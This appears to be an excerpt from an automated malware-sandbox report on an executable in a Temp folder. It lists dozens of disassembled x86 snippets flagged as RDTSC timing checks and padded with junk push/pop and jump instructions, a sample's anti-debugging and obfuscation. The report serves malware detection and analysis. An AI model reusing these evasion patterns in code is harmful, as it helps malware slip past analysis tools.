0x0000005d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 477AAB second address: 477AB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F742CC44206h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 478B13 second address: 478B81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F742CEB81D7h 0x00000009 popad 0x0000000a popad 0x0000000b nop 0x0000000c je 00007F742CEB81CCh 0x00000012 mov dword ptr [ebp+122D34FEh], edi 0x00000018 push 00000000h 0x0000001a pushad 0x0000001b mov cx, bx 0x0000001e mov dword ptr [ebp+122D17F3h], ecx 0x00000024 popad 0x00000025 mov dword ptr [ebp+122D1BE8h], eax 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ebp 0x00000030 call 00007F742CEB81C8h 0x00000035 pop ebp 0x00000036 mov dword ptr [esp+04h], ebp 0x0000003a add dword ptr [esp+04h], 00000019h 0x00000042 inc ebp 0x00000043 push ebp 0x00000044 ret 0x00000045 pop ebp 0x00000046 ret 0x00000047 clc 0x00000048 mov dword ptr [ebp+122D1BCAh], ebx 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 push ebx 0x00000052 push ecx 0x00000053 pop ecx 0x00000054 pop ebx 0x00000055 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 47ABF0 second address: 47AC02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F742CC4420Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 47AC02 second address: 47AC07 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 47BBE1 second address: 47BC69 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jp 00007F742CC44206h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F742CC44208h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 mov edi, dword ptr [ebp+122D2F43h] 0x0000002f push 00000000h 0x00000031 push ecx 0x00000032 mov edi, dword ptr [ebp+122DB6A1h] 0x00000038 pop edi 0x00000039 xor dword ptr [ebp+12478177h], eax 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push ecx 0x00000044 call 00007F742CC44208h 0x00000049 pop ecx 0x0000004a mov dword ptr [esp+04h], ecx 0x0000004e add dword ptr [esp+04h], 0000001Dh 0x00000056 inc ecx 0x00000057 push ecx 0x00000058 ret 0x00000059 pop ecx 0x0000005a ret 0x0000005b mov ebx, 7E67FAABh 0x00000060 xchg eax, esi 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F742CC44218h 0x00000068 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 47BC69 second address: 47BC7B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 ja 00007F742CEB81C6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 475B72 second address: 475B77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 47BC7B second address: 47BC88 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F742CEB81C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 477C9D second address: 477CA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 47ED49 second address: 47ED4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 47ED4E second address: 47ED54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 47AD2A second address: 47AD2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 47CD7E second address: 47CD82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 47DEDE second address: 47DEE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 47AD2F second address: 47AD58 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F742CC44218h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jp 00007F742CC44224h 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 47CD82 second address: 47CD8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 47EF2B second address: 47EF2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 47CD8C second address: 47CD90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 47FC94 second address: 47FC9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F742CC44206h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 47EF2F second address: 47EF33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 47CD90 second address: 47CE38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D2C98h], esi 0x00000010 push dword ptr fs:[00000000h] 0x00000017 and edi, dword ptr [ebp+124509C2h] 0x0000001d pushad 0x0000001e mov edx, dword ptr [ebp+122D2C98h] 0x00000024 mov edi, 31B07745h 0x00000029 popad 0x0000002a mov dword ptr fs:[00000000h], esp 0x00000031 sub dword ptr [ebp+122D17DDh], edi 0x00000037 mov eax, dword ptr [ebp+122D07A1h] 0x0000003d push 00000000h 0x0000003f push esi 0x00000040 call 00007F742CC44208h 0x00000045 pop esi 0x00000046 mov dword ptr [esp+04h], esi 0x0000004a add dword ptr [esp+04h], 00000019h 0x00000052 inc esi 0x00000053 push esi 0x00000054 ret 0x00000055 pop esi 0x00000056 ret 0x00000057 mov edi, ebx 0x00000059 push FFFFFFFFh 0x0000005b push 00000000h 0x0000005d push eax 0x0000005e call 00007F742CC44208h 0x00000063 pop eax 0x00000064 mov dword ptr [esp+04h], eax 0x00000068 add dword ptr [esp+04h], 0000001Dh 0x00000070 inc eax 0x00000071 push eax 0x00000072 ret 0x00000073 pop eax 0x00000074 ret 0x00000075 jmp 00007F742CC44216h 0x0000007a nop 0x0000007b push eax 0x0000007c push edx 0x0000007d push eax 0x0000007e push edx 0x0000007f je 00007F742CC44206h 0x00000085 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 47CE38 second address: 47CE42 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F742CEB81C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 480BC8 second address: 480BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 nop 0x00000007 mov edi, dword ptr [ebp+122D389Eh] 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 pushad 0x00000012 adc dx, 072Fh 0x00000017 cmc 0x00000018 popad 0x00000019 push eax 0x0000001a push esi 0x0000001b push edi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4847A4 second address: 4847A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4847A8 second address: 4847AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4847AC second address: 4847B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4847B2 second address: 4847CE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F742CC44211h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 48E609 second address: 48E60D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 48E60D second address: 48E634 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F742CC44212h 0x0000000c jmp 00007F742CC4420Dh 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 41A436 second address: 41A43C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 41A43C second address: 41A440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 41A440 second address: 41A449 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 41A449 second address: 41A451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 48DE14 second address: 48DE2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F742CEB81D1h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 48E0FB second address: 48E0FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 48E0FF second address: 48E124 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F742CEB81CCh 0x0000000c jo 00007F742CEB81C6h 0x00000012 jmp 00007F742CEB81CCh 0x00000017 popad 0x00000018 pushad 0x00000019 pushad 0x0000001a push esi 0x0000001b pop esi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 48E124 second address: 48E146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F742CC44217h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 48E146 second address: 48E14C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 48E14C second address: 48E162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F742CC4420Ch 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 48E162 second address: 48E166 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 48E166 second address: 48E16C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 490A70 second address: 490A76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 490A76 second address: 490A7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 490A7E second address: 490A87 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 494F0F second address: 494F37 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F742CC44212h 0x00000008 jmp 00007F742CC4420Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F742CC4420Ah 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 427B5E second address: 427B78 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F742CEB81CCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007F742CEB81CCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 480D55 second address: 480D59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 480D59 second address: 480D5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 480D5F second address: 480D6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F742CC4420Bh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 499F7E second address: 499F85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 499F85 second address: 499F8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 499F8B second address: 499FA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F742CEB81D0h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 49A23E second address: 49A242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 49A3DF second address: 49A404 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CEB81D9h 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F742CEB81C6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 49A404 second address: 49A408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 49A408 second address: 49A40E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 49A582 second address: 49A587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 49A814 second address: 49A82C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F742CEB81D4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 49A9BB second address: 49A9C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 49A9C6 second address: 49A9E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b jmp 00007F742CEB81D2h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 49A9E6 second address: 49A9EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 42AF5F second address: 42AF65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 42AF65 second address: 42AF6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 42AF6B second address: 42AF7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F742CEB81CCh 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 42AF7D second address: 42AF81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A0733 second address: 4A073D instructions: 0x00000000 rdtsc 0x00000002 je 00007F742CEB81C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A3B94 second address: 4A3B9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A3B9A second address: 4A3BA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A3BA0 second address: 4A3BA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A80CE second address: 4A80FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F742CEB81CCh 0x00000009 jmp 00007F742CEB81D8h 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A80FC second address: 4A8107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F742CC44206h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A82AE second address: 4A82B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A83E5 second address: 4A83E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A8541 second address: 4A854B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F742CEB81C6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A86E1 second address: 4A86E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A86E7 second address: 4A86EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A888F second address: 4A88B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jo 00007F742CC44206h 0x00000010 push edx 0x00000011 pop edx 0x00000012 jbe 00007F742CC44206h 0x00000018 popad 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c jno 00007F742CC44206h 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A88B3 second address: 4A88EC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F742CEB81DAh 0x0000000e jbe 00007F742CEB81C6h 0x00000014 jmp 00007F742CEB81CEh 0x00000019 jmp 00007F742CEB81D3h 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 pop eax 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A8A67 second address: 4A8A74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A8A74 second address: 4A8A89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F742CEB81D1h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A8BF6 second address: 4A8BFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A8D4B second address: 4A8D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A8D52 second address: 4A8D72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F742CC4420Ch 0x00000010 pushad 0x00000011 jl 00007F742CC44206h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A8D72 second address: 4A8D77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
